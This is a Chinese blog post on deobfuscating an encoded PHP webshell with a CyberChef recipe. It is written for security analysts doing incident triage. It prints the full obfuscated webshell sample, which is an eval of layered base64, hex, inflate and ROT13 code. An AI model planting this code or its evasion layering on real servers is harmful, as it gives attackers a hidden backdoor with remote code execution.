Webshell绕过技巧分析之-base64/HEX/Reverse/Html/Inflate/Rot13

news2024/11/16 19:36:58

在网络安全运营,护网HVV,重保等活动的过程中,webshell是一个无法绕过的话题。通常出现的webshell都不是以明文的形式出现,而是针对webshell关键的内容进行混淆,编码来绕过网络安全产品(IDS,WAF,沙箱,邮件网关,EDR等)产品的检测。本文介绍其中一种曾经出现过的比较复杂的绕过方式,作为《各种数据绕过实战分析篇》中的一篇,这里。通过解析该绕过方式,希望能够对于日常解读webshell pcap数据包,webshell文件提供参考思路。

Webshell介绍

Webshell是一种恶意软件,它通常是由攻击者利用Web应用程序的漏洞或不安全配置,在受攻击的服务器上植入的一段恶意代码。这段恶意代码可以以各种形式存在,例如一段PHP、ASP、JSP等脚本代码,或者是一段可执行的命令或脚本。

Webshell 载体

  • webshell常见的载体是php,asp,jsp等文件格式。
  • webshell的载体还可以是图片,文档,压缩文件文件,即将对应的代码嵌入到图片之中,俗称图片码。
  • webshell的载体可以是网络数据包,即通过RCE远程利用漏洞的形式将恶意代码注入到程序中。更多的关于webshell的远程利用分析,可以参考《安全运营之网络攻击研判分析》,这里。

对于经过编码和混淆之后的webshell,无论载体是什么,都需要提取对应的webshell内容还原对手原本的目的。

Webshell 样本

如下为一段采用多种编码,反转等手段的webshell样本,详见这里,如下:

 <?php
 $func="cr"."ea"."te_"."fun"."ction";   $x=$func("\$c","e"."v"."al"."('? 
 >'.base"."64"."_dec"."ode(\$c));");  


$x("PD9waHAgJHsiR1x4NGNceDRmQlx4NDFceDRjUyJ9WyJceDZhXHg2Nlx4NjRceDYxXHg2OGl2anEiXT0iXHg0MVx4NmUwXHg2ZVx4NWYzXHg3OFx4NTBceDZjb1x4NjlceDU0ZVIiOyRyeWh0bmVsaW5sPSJceDU1XHg2NVx4NThwbFx4NmZceDY5VCI7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJ3XHg2N1x4NjN3XHg3YXhceDc1XHg2YVx4N2EiXT0iVWVceDU4cFx4NmNceDZmXHg2OVQiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDc3Z2NceDc3XHg3YXhceDc1alx4N2EiXX09Ilx4NTNceDc5XHgzMVx4NGNceDdhXHg0ZUZceDUxS1x4NzlceDdhTlx4NGM3XHg0N1x4MzJWMFx4NzNceDc2XHg3M1x4NTlceDU5XHg3N1x4MzlceDU5cFx4NGNceDY5dUtMOGtceDczXHg0ZFx4NmFUXHg1OFx4NTNceDcxXHg3YUx6MG5JXHg1M1MxS1x4NDJyXHg0ZVx4NGJceDM4XHgzNVB6XHg2M1x4NjdxXHg0Y1x4NTVceDM0bVx4NGNxXHg0M1x4NDNceDYzXHg2Y1x4NDZxZVx4NjFceDZkXHg2M1x4NTNuXHg3MFx4NDNceDYyblx4NzBceDM2UnFceDQxXHg0Zlx4MzBzXHg1M1x4NjkzXHg1NFVISFx4NGRNOFx4NjlceDRjXHg0ZVx4MzY0SXlNXHg2ZVx4NTBEXHg0NWtOXHgzMGtceDUxXHg0MzFceDY3XHg0MVx4M2QiOyR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJqXHg2Nlx4NjRhXHg2OFx4Njl2alx4NzEiXX09Ilx4M2RceDNkd1x4NzVceDRmXHg2Y1x4NzVceDUzXHg0Ylx4NjlVXHg0Nlx4MzRceDUxXHg1OFx4NTFceDQxL1x4NDlxNlx4NGRZXHg1NkY4L3lceDZkXHg0OEdceDJiUnZ0XHgzMFx4NTRceDYzNW42XHg2Mk5ceDYxXHg2Zlx4NTdceDYzNVVceDMzXHg2Zm5ceDY0XHg0M1x4NTZceDc4XHg2Y1x4NjZ4Ulx4NTBceDc0XHgzOFx4NTA4XHg0ZC9ceDZkXHg1MFx4NzVceDM2OFx4NzJPXHg3M1x4NzhceDczOVx4NzRceDRiXHg2OVx4NDQ5XHg1M1x4MzlZXHg2Y1RceDYxXHg0Zlx4NDdceDc2aVx4NjhceDVhRFx4MmJMTVx4MzJceDQ0XHg2OFx4NzdceDRiXHg2ZVx4NjFnXHgzMGZceDRlNVx4NjNceDRmXHg0MVx4MzRceDUwXHg1Nlx4NjIvXHg1Nlx4MzQwXHgzNzJceDQ4L1x4NTlceDc5XHg2ZXFceDYyci9ceDY2N2lceDY3XHg2MVx4NjlceDRmXHg3Nlx4NTlPclx4NjhceDY5XHg0ZVNTXHg0Y1x4NTFvXHg2OFx4NTBceDJiL1x4MzJceDJidlFceDQza1x4N2EyXHgzNGV0XHg2MW5ceDQ1XHg2ZVx4NzZceDMzXHgzM0Q1UWlceDYyXHg1M3Y0MFx4MmJceDY2XHg0Y1x4MzNyXHg1N1x4NjNceDM3XHgzNVx4NzBlXHgzNFx4NzVceDMzXHg0Ylx4NjlceDZhWlx4NTBTZFdceDc5OWx3NFx4NDJceDMxTi9ceDQxXHg3NjdceDQxVXRceDQydlx4NDRceDUyXHg3MUxceDc5ZVx4MmJOXHg1YVx4NTQvazJceDcyRVx4NjFceDcyXHg1N25ceDM3SFx4NTlaXHgzMVx4NWFceDU2XHg2NVx4NjlceDc3XHg2Y1x4NmFceDc4XHgzMlx4NjlceDc3XHg2YXptXHg2Mlx4N2FceDVhXHg2MVx4MmJceDM4NVx4NmNETVx4NzVyXHg0N1NceDQ0NERceDY2XHg1OFdceDY3alx4MzFceDc1alx4NDJceDYxXHg1NVx4NjhceDQ1XHg1M1x4NjFceDM3dVx4NTVceDZjXHg0MlVSSks0XHgzMFlceDQyaVx4NjFceDMzSlNceDY0dGtSXHg2M1x4NjgxMnVMXHg3OFx4NDI0Wk10XHg0YXZceDY5XHg0NWZXXHg0Mlx4NDJJMVx4NzlceDQ0XHg1NlVXL1x4NTNceDQ0aFx4NDNlVFx4N2FceDcxXHg0Mlx4NDRceDY2XHgzOHJceDY2XHg0ZTY3XHg0MVx4MzNceDc5ZDBOXHg1N1dxXHg0M2dceDM0XHg0N1x4MzRceDUzXHg0Mlx4NjNceDYyRW9ceDcwUFx4NzNceDcxXHgzMXQvXHg3MTBceDYyUFx4NjlceDQ2R1x4NmZceDY3XHg0Ylx4NDc0XHg0MVx4NGRceDRhXHg0MnpSXHg0ZFx4NmRceDMzM1x4NDdKXHgzNVx4NjVceDZiS1x4NTRceDc4XHg3MVx4NDlZXHg2N0dceDMxSlx4NTVJXHg3MFx4NTQ4ZFx4NThpOTNceDRjLzNceDRmNlx4NzFuNVFceDZmXHg2ZFx4NTVKXHgzMHVSeE1GXHg0MnN0bVNceDc1OFx4NDkvXHg1OUlceDcyNVNRXHgzM1x4MzhoXHg0Mlx4NjM3XHg1OFx4MzJceDY5NElceDVhXHgzMlx4NTRceDY2XHg0Mlx4N2FceDJiNlx4Njl2RFx4NDRceDM2bXJVeVx4NDV1XHg3OXF5XHgzMFx4NWF2XHg0Mlx4NGVceDQ2XHg1OVx4MzdvXHg0MXhvXHg0M1x4NGJceDRjXHg0M1x4MzRceDRiXHg0YXcyXHg2N1x4NjVNXHgzOFx4NzhceDYxXHg2OFx4MzhceDZkXHg0NWRGZjZceDc4N1x4NDRceDYyXHgzNjRceDRiXHg2Ylx4NDFOXHg1N1x4NThLZWZceDQ2XHg2Zlx4NGJYc2xceDQzXHg3M1x4N2FceDQyVllceDc1Rlx4NzQvVFx4NzZceDM4XHgyYlx4NThceDM5SVBwUTRceDczXHg2N2lceDQycVx4NzVceDc1VFx4NGFnWlx4NTNceDMyZVx4NzlIXHg1MHRceDcwXHg3NVx4NzNceDcwXHg0NFx4NTNceDdhVkxkXHg2NFx4NGFceDUyXHgyYlx4NjNceDM1SjNceDY2XHg2ZHpRXHgzMFx4NjNxU1x4NzhceDcyaFx4MmJceDYxXHg3MWtnU1x4MmJ2XHg0YVx4NGJnXHg2Nlx4NGFZXHg0ZVx4N2FceDY1XHg2OVx4NDZ4XHg3OE9ceDc1XHg2Nlx4NThtV1x4NjdWXHg3MFx4NDFceDY3cS9ceDU1XHgzMFx4N2FceDQ0XHg3NFx4NDJMM1x4MzRceDMxUDFceDY3XHg0Mlx4NjhceDU5LzJceDU4XHg1OFx4MzJvXHg3Mlx4NWFceDU2UTFceDYxXHg2OUwzXHg2NVx4NzVceDU5XHg2ZVx4NTNceDM1XHgzME1ceDU5ZFx4NzJKWlx4NTJoUzRceDQyR2pceDQyOVx4NzZkTWxceDQ1S1x4NmVzXHg3NFx4NGFKXHg0YVpQblx4NjlkUVx4NWF5XHg2MWRceDczXHg1Mlx4NzJceDYyXHgzN1x4NzFceDM5XHg3M1x4NmVceDRiVkVceDc5XHg2M2VceDY4XHg3MVx4NDFceDQyXHgzM21tS1RceDJiNVx4NDJceDJiOFg0XHg3NTNmM1NceDM4V3ppXHg0M1x4NzREWmZ2Zlx4NmVceDcxSVdTVFx4NjVtXHg0ZVx4NGZWc0hceDU2XHg0MmtIXHg0Ylx4NTZceDc0XHg1Mlx4NmVceDRjZU5JXHg3NDFceDRheFx4NzFceDUwRlx4NTMzXHg0M1N4XHg0MVx4NmJceDMxXHg0M1x4MzM3XHg0YVx4MmJ3XHg1OEhEXHg0Mk1ceDYxL1dceDYyVDJceDU3L1x4NjNceDRid1x4NTlceDQyd1x4NGFlOUhceDcwXHg0MVx4NzVGUS9NXHg0Ylx4NzdceDYzXHg0Mlx4NzdceDRhZVx4MzlIb1x4NDFceDJiRlx4NTEvOEpceDc3XHg2N1x4NDJ3XHg0YWU5SG5ceDQxT0dceDUxL1x4NzNceDRhXHg3N1x4NmJceDQyd1x4NGFlIjtldmFsKGh0bWxzcGVjaWFsY2hhcnNfZGVjb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCR7JHJ5aHRuZWxpbmx9KSkpKTtleGl0Owo/Pg==");
 exit;
?>

可以看到该样本的内容经过了编码,因此无法直接获取内容的意图。

识别编码

常见的编码包括base64,URL,hex,char,gzip,xor,utf-8等,详见《各种编码理论篇》,这里。因此第一步需要对于常见的编码字符集有一定的了解,在遇到对应的数据之后能够猜测数据使用的编码手段。当然webshell中本身用来解码的函数也会暗示我们采用的编码手段。

上述webshell样本第一眼能够看出是base64编码,随着解码的深入,会发现越来越复杂。

程序解码

如果使用python等程序的方式解析上述的数据步骤如下:

  • 提取需要解码的数据内容
  • 编写Pythonbase64解码数据
  • 使用IDE显示代码内容

编写程序的灵活度高,但是耗时耗力,并不是日常网络安全运营,HVV,重保过程中重点投入的地方。编写程序只是手段之一,其根本目的在于溯源整个攻击链条。

cyberchef解码

base64解码

  • 提取需要解析的内容,由于输入的是整个webshell内容,因此需要使用正则提取对应的编码内容。正则的内容就是base64字符集的正则,为了略过php,eval,gzinflate等字符,需要匹配长度至少为30的字符串。
  • 提取的内容为base64编码后的数据,因此需要进行base64解码,如下图1:

在这里插入图片描述
图1

Hex解码

如上图1,base64解码之后的数据存在16进制编码的数据,因此需要将16进制转换为对应的字符,如下图2:
在这里插入图片描述
图2
由于From Hex模块的输入是一个数组,二而图中的结果为一串字符串,输入并不是数组。因此先试用使用subsection模块匹配形如\x4c模式的字符,形成数组。然后在使用From Hex将对应的十六进制转换为对应的ASCII字符。

替换分隔符

上图2中遗留的\x影响阅读习惯,因此需要将\x分隔符去除,如下图3:
在这里插入图片描述
图3
上图的subsection本质上是将形如\x4c模式的字符通过From Hex一个个转换,转换之后是以数组形式存在的,因此转换之后的字符需要进行合并,然后整体替换对应的字符。

多种编码逆运算一

上图3从最后的函数可以变量wgcwzxujz采用了base64编码+压缩+HTML编码,因此需要进行相应的逆运算,如下图4:
在这里插入图片描述
图4
注意上图3可知wgcwzxujz和jfdahivjq都是base64字符集内的字符,但是jfdahivjq明显以==开头,和正常的base64不同,因此在对于wgcwzxujz进行逆运算的过程中,subsection部分的正则匹配在结尾加了=字符,用来匹配wgcwzxujz变量。

多种编码逆运算二

上图4中可知jfdahivjq 变量的内容就是An0n_3xPloiTeR,而An0n_3xPloiTeR的内容,经过了反转(strrev),编码(base64_decode),压缩(gzuncompress),xor等多种操作,因此需要对jfdahivjq 变量做相应的逆运算,如下图5,6:
在这里插入图片描述
图5
在这里插入图片描述
图6
图5中对于jfdahivjq 变量的内容,首先匹配提取,然后反转操作,base64解码,由于gzuncompress以及gzinflate的操作进行了三次,因此图6中使用了label和jump的组合,最后rot13解码,关于rot13编码,见这里。

代码美化

上图中最终的结果并不利于代码查看,因此需要针对代码进行美化,如下:
在这里插入图片描述
图7
至此可以看到对手webshell原本的意图,该方法有助于日常网络安全运营,护网HVV,重保等活动的过程中的安全事件调查。

cyberchef recipe

使用的recipe内容如下,可以在cybechef中直接导入即可,如下:

[
  { "op": "Regular expression",
    "args": ["User defined", "[a-zA-Z0-9+/=]{30,}", true, true, false, false, false, false, "List matches"] },
  { "op": "From Base64",
    "args": ["A-Za-z0-9+/=", true, false] },
  { "op": "Subsection",
    "args": ["(?<=\\\\x)([a-fA-F0-9]{2})", true, true, false] },
  { "op": "From Hex",
    "args": ["\\x"] },
  { "op": "Merge",
    "args": [true] },
  { "op": "Find / Replace",
    "args": [{ "option": "Regex", "string": "\\\\x" }, "", true, false, true, false] },
  { "op": "Subsection",
    "args": ["[a-zA-Z0-9+/=]{30,}=", true, true, false] },
  { "op": "From Base64",
    "args": ["A-Za-z0-9+/=", true, false] },
  { "op": "Raw Inflate",
    "args": [0, 0, "Adaptive", false, false] },
  { "op": "From HTML Entity",
    "args": [] },
  { "op": "Merge",
    "args": [true] },
  { "op": "Subsection",
    "args": ["[a-zA-Z0-9+/=]{30,}", true, true, false] },
  { "op": "Reverse",
    "args": ["Character"] },
  { "op": "From Base64",
    "args": ["A-Za-z0-9+/=", true, false] },
  { "op": "Label",
    "args": ["decompress"] },
  { "op": "Zlib Inflate",
    "args": [0, 0, "Adaptive", false, false] },
  { "op": "Raw Inflate",
    "args": [0, 0, "Adaptive", false, false] },
  { "op": "Jump",
    "args": ["decompress", 3] },
  { "op": "ROT13",
    "args": [true, true, false, 13] },
  { "op": "Generic Code Beautify",
    "args": [] }
]

以上就是针对webshell绕过内容解析的介绍,希望对你日常工作有所帮助。

本文为CSDN村中少年原创文章,未经允许不得转载,博主链接这里。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1643194.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【深耕 Python】Quantum Computing 量子计算机(2)绘制电子运动平面波

写在前面 往期量子计算机博客&#xff1a; 【深耕 Python】Quantum Computing 量子计算机&#xff08;1&#xff09;图像绘制基础 一、所需公式 1、自由空间中电子的波函数公式&#xff1a; 2、常量代换&#xff1a; 3、物理常量&#xff1a; 二、Python代码&#xff1a; …

PostgreSQL和openGauss优化器对一个关联查询的SQL优化改写

PostgreSQL和openGauss数据库优化器在merge join关联查询的SQL优化改写 PostgreSQL 查询计划openGauss 查询计划拓展对比 看腻了文章就来听听视频讲解吧&#xff1a;https://www.bilibili.com/video/BV1oH4y137P7/ 数据库类型数据库版本PostgreSQL16.2openGauss6.0 创建测试表…

【Java基础】成员变量和局部变量的区别

成员变量vs局部变量 局部变量没有默认值 成员变量有默认值局部变量在栈中开辟内存 成员变量在堆中开辟内存局部变量是当其所在的函数被调用时开辟内存 成员变量是创建对象时开辟内存局部变量是当其作用域结束时立刻释放内存 成员变量是当其所属的对象成为垃圾时等待垃圾回收线…

Rust里的Fn/FnMut/FnOnce和闭包匿名函数关系

闭包&#xff08;英语&#xff1a;Closure&#xff09;&#xff0c;又称词法闭包&#xff08;Lexical Closure&#xff09;或函数闭包&#xff08;function closures&#xff09;&#xff0c;是引用了自由变量的函数。这个被引用的自由变量将和这个函数一同存在&#xff0c;即使…

【设计模式】函数式编程范式工厂模式(Factory Method Pattern)

目录标题 定义函数式接口函数式接口实现类工厂类封装实际应用总结 定义函数式接口 ISellIPad.java /*** 定义一个函数式接口* param <T>*/ FunctionalInterface public interface ISellIPad<T> {T getSellIPadInfo();}函数式接口实现类 HuaWeiSellIPad.java pu…

大气网格化精细化监管监测哪家好?

一、什么是大气网格化精细化监管监测 在当今环境问题日益突出的时代&#xff0c;大气质量监测与监管成为了至关重要的工作。大气网格化精细化监管监测系统的出现&#xff0c;为我们更好地了解和掌握大气环境状况提供了有力手段。然而&#xff0c;面对众多的系统供应商&#xff…

《自动机理论、语言和计算导论》阅读笔记:p352-P401

《自动机理论、语言和计算导论》学习第 12 天&#xff0c;p352-P401总结&#xff0c;总计 50 页。 一、技术总结 1.Turing Machine ™ 2.undecidability ​ a.Ld(the diagonalization language) 3.reduction p392, In general, if we have an algorithm to convert insta…

C#-快速剖析文件和流,并使用(持续更新)

目录 一、概述 二、文件系统 1、检查驱动器信息 2、Path 3、文件和文件夹 三、流 1、FileStream 2、StreamWriter与StreamReader 3、BinaryWriter与BinaryReader 一、概述 文件&#xff0c;具有永久存储及特定顺序的字节组成的一个有序、具有名称的集合&#xff1b; …

Docker私有镜像仓库搭建 带图形化界面的

搭建镜像仓库可以基于Docker官方提供的DockerRegistry来实现。 官网地址&#xff1a;https://hub.docker.com/_/registry 先配置私服的信任地址: # 打开要修改的文件 vi /etc/docker/daemon.json # 添加内容&#xff1a; "insecure-registries":["http://192.…

定时器编程前配置和控制LED隔一秒亮灭

1.配置定时器 0 工作模式16位计时 2.给初值&#xff0c;定一个10ms出来 3.开始计时

pygame学习--精灵组、碰撞检测、精灵更新

pygame学习--精灵组、碰撞检测、精灵更新 一.效果二.代码 通过pygame库,模拟种群的分化 1.X从左往右移动,表示年龄的增加;Y坐标表示阶层 2.随着X坐标不断增大,圆逐渐增大,颜色也加深 3.精灵越多,碰撞后死亡的概率越大,诞生新精灵的概率越小 4.每个精灵都有随机的运动速度及Y坐标…

关于YOLO8学习(五)安卓部署ncnn模型--视频检测

前文 关于YOLO8学习(一)环境搭建,官方检测模型部署到手机 关于YOLO8学习(二)数据集收集,处理 关于YOLO8学习(三)训练自定义的数据集 关于YOLO8学习(四)模型转换为ncnn 简介 本文将会讲解: (1)使用前文生成的ncnn模型,部署到安卓端,并且实现视频中,人脸的检测…

图像压缩问题

图像压缩问题的bilibil讲解 1.问题引入 首先&#xff0c;图像是由像素组合成的&#xff0c;每个像素都有灰度值&#xff0c;灰度值是体现像素的颜色的。灰度值从0~255&#xff0c;灰度值占用的位数就是像素占用的位数。我们要存储一个图像就要存储它的所有像素。现在的问题是我…

【Github】将github仓库作为图床使用

创建github仓库 首先创建一个github仓库专门用于存储图片&#xff0c;具体步骤如下&#xff1a; 1.点击新的仓库按钮 2.初始配置&#xff1a;随便填写一个仓库名&#xff1b;这里的仓库状态一定要是public公开的&#xff0c;不然后面访问不了图片 下载PicGo PicGo官网 在A…

【Linux系统编程】第十三弹---项目自动化构建工具-make/Makefile

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】 目录 1、背景 2、编写makefile 2、make原理 3、理解makefile 4、优化makefile 总结 1、背景 ★ 会不会写makefile&#xff0c;从…

杭州等级保护测评—提升企业安全等级

4月初&#xff0c;在和杭州未来科技城正式签署“重点企业落户协议”之后&#xff0c;新一代本地生活服务平台“AC生活”又获得了由中华人民共和国公安部颁发的“信息系统安全等级保护”备案证书。尽管工作人员一再强调“公司还处在研发期”、“产品还不成熟”&#xff0c;但随着…

2.spring security 简单入门

创建springboot 项目&#xff0c;引入spring security坐标 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><!--spring security坐标--><dependency&g…

【每日力扣】141. 环形链表与142. 环形链表 II

&#x1f525; 个人主页: 黑洞晓威 &#x1f600;你不必等到非常厉害&#xff0c;才敢开始&#xff0c;你需要开始&#xff0c;才会变的非常厉害 141. 环形链表 给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟…

恶补《操作系统》5_2——王道学习笔记

5.2_1 I-O核心子系统 1、用户层软件 假脱机系统 2、设备独立性软件&#xff08;设备无关性软件&#xff09; IO调度、设备保护、设备分配与回收、缓冲区管理 3、设备驱动程序&#xff08;比如打印机驱动&#xff09; 4、中断处理程序 5、硬件 5.2_2 假脱机技术&#xff…

爬虫工具:避免复制文字收费,VIP。。

step ctrl shift i 打开开发者工具 点击...打开设置勾选禁用JavaScript Principle 事件处理&#xff1a;JavaScript 用于处理用户交互&#xff0c;例如点击、滚动、输入等禁用 JavaScript 后&#xff0c;页面上的所有 JavaScript 代码都将不会执行